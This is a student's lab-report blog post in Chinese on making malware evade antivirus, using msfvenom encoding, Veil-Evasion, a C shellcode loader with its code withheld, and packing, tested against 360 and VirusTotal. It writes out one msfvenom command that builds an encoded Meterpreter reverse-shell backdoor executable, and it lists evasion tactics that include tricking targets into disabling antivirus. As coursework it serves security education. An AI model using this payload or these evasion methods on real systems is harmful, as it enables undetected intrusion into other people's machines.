免杀原理与实践

xp3 免杀原理与实践

一、实践内容

1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、基础问题回答

1.杀软是如何检测出恶意代码的?

基于特征码的检测

启发式恶意软件的检测

基于行为的恶意软件检测。

 

2.免杀是做什么?

一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

 

要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。

反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

 

 

3.免杀的基本方法有哪些?

就常见恶意软件而言,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。这个概率还可以,貌似多试几种恶意软件就可以了。那免杀的方法当然是针对检测技术的。

 

--

 

所以总体技术有:

 

改变特征码

如果你手里只有EXE

加壳:压缩壳 加密壳

shellcode(Meterpreter

encode进行编码

基于payload重新编译生成可执行文件

有源代码

用其他语言进行重写再编译(veil-evasion

--

 

改变行为

通讯方式

尽量使用反弹式连接

使用隧道技术

加密通讯数据

操作模式

基于内存操作

减少对系统的修改

加入混淆作用的正常功能代码

--

 

免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。

 

非常规方法

使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

使用社工类攻击,诱骗目标关闭AV软件。

纯手工打造一个恶意软件

--

 

留后门的思路是这样的:

你写一个有漏洞的软件,开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。

通过meterpreter这种驻留内存的payloadAV软件很难检出。

这样的小漏洞程序大家也有做,自己攻击自己还是很容易的。

当然最好的方法,还是手工打造,自己从头编一个,没有通用工具的特征,AV软件也就杀不出来了。

从头打造当然是相当有难度的,但我们可以利用Metasploit已有的payload来半手工的打造,效果也不错

实验步骤:

一:利用上次实验的后门程序,用msf对其进行编码:

MsfvenomMetasploit平台下用来编码payloads免杀的工具。

# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=172.30.3126  LPORT=1120 -f exe >xm1120_backdoor.exe

 

将其上传到https://www.virustotal.com/ http://www.virscan.org/

上进行检测,我选择了后一个中文网站结果如下

使用msf编码十次:

效果一如既往的被查杀,曝光率没变。。。。。。。

二:使用Veil-Evasion

Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。免杀效果比较好。官网上有视频教程。

结果呢,生成了一个,上传测试,virustoal检出为19/57。

Veil-evasion是用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe,共性特征比较少。

veil 血泪史:参考https://github.com/veil-Framework/veil上的方法

cd veil 时,若找不到veild的路径,

输入:whereis veil即可

接下来

建议大家用流量,因为在这一步时特别缓慢,要下载很大的内容,

在装python时我很奇怪它的默认安装路径时以windows系统的c:\........开始的,我觉得既然是在linux下开始的话,也应该是root/....很奇怪,更让我生气地是装了veil后,我的msf不能用了,捣鼓了一整天,我的kali崩了,然而之前我把自己的快照失手删了,完蛋。。。。。

哟:牺牲的msf

还好我装了两个kali。已经牺牲了一个,让我觉得。。。。心累

继续:输入veil:

然后,按照提示步骤来呗

选择 28

 

出现了分歧:选1呢还是2呢,都试试吧

貌似1有问题嘞

所以选2

但这两个都没产生.exe文件,我也不明吧,我觉得很可能是python没安装成功的问题,在博客中有人说用c,我试了试,

然而,没用的啦,依旧被360发现,但是曝光率降低了

 

 

 

三:用c调用msf生成的shellcode编写后门程序进行测试

我用的是codeblock编译的,没有用vs

 

 

部分代码影藏

 

 

最初时,没有被360发现,但是过了一天,就被360发现删除了。。。。。。

 

这个方法好啊,曝光率最低,挺好的。

 

最初时,没有被360发现,但是过了一天,就被360发现删除了。。。。。。

 

四.加壳

 

呵呵,没用啊!

很奇怪啊,网站上的360没有检验出这是病毒,但是我电脑上的360发现了?什么情况

实验体会:

我觉得,这次实验原理很易懂,但操作有些复杂,不知为啥,强大的杀毒软件将我击败了,其实在前几天,360是没发现veil编码以及c调用shellcode 的免杀方式的,只不过当我处理其他事情的时候,360后来才发现的,导致我没能逃掉免杀,这也说明,当出现新的病毒时,杀毒软件有一段滞后期,若黑客能在滞后期期间完成攻击任务,杀毒软件便没了意义。所以还是要加强安全意识,不要下载陌生程序代码,毕竟在滞后期内,杀软无能为力。

此外,总的来说,国内的杀软还是360好一点。。。嗯,没毛病

     但是我牺牲了一个kali,这让我无语,只好从头再来了

posted on 2018-04-10 20:42  20151120肖明  阅读(201)  评论(0编辑  收藏